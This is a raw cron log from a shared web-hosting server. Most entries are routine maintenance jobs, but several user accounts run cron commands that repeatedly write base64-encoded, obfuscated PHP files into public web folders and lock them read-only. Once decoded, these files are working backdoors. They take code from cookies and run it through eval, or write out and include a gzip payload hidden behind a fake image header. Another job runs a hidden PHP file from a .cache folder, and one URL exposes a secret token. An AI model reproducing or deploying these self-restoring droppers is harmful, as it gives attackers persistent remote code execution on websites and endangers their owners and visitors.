Mar  2 02:24:02 medusa CROND[30704]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:24:02 medusa CROND[30703]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:24:02 medusa CROND[30714]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:24:02 medusa CROND[30712]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:24:02 medusa CROND[30715]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:25:01 medusa CROND[4029]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:25:01 medusa CROND[4057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:25:01 medusa CROND[4061]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:25:01 medusa CROND[4104]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:25:02 medusa CROND[4256]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:25:02 medusa CROND[4260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 02:25:02 medusa CROND[4262]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:25:02 medusa CROND[4263]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:25:02 medusa CROND[4259]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:25:02 medusa CROND[4266]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:25:02 medusa CROND[4270]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:25:02 medusa CROND[4271]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:25:02 medusa CROND[4272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:25:02 medusa CROND[4268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:25:02 medusa CROND[4267]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:25:02 medusa CROND[4277]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:25:02 medusa CROND[4264]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:25:02 medusa CROND[4265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:25:02 medusa CROND[4274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:25:02 medusa CROND[4281]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:25:02 medusa CROND[4283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:25:02 medusa CROND[4269]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 02:25:02 medusa CROND[4288]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:26:01 medusa CROND[10266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:26:01 medusa CROND[10308]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:26:01 medusa CROND[10378]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:26:01 medusa CROND[10379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:26:01 medusa CROND[10380]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:26:01 medusa CROND[10384]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:26:01 medusa CROND[10390]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:26:01 medusa CROND[10391]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:26:01 medusa CROND[10394]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
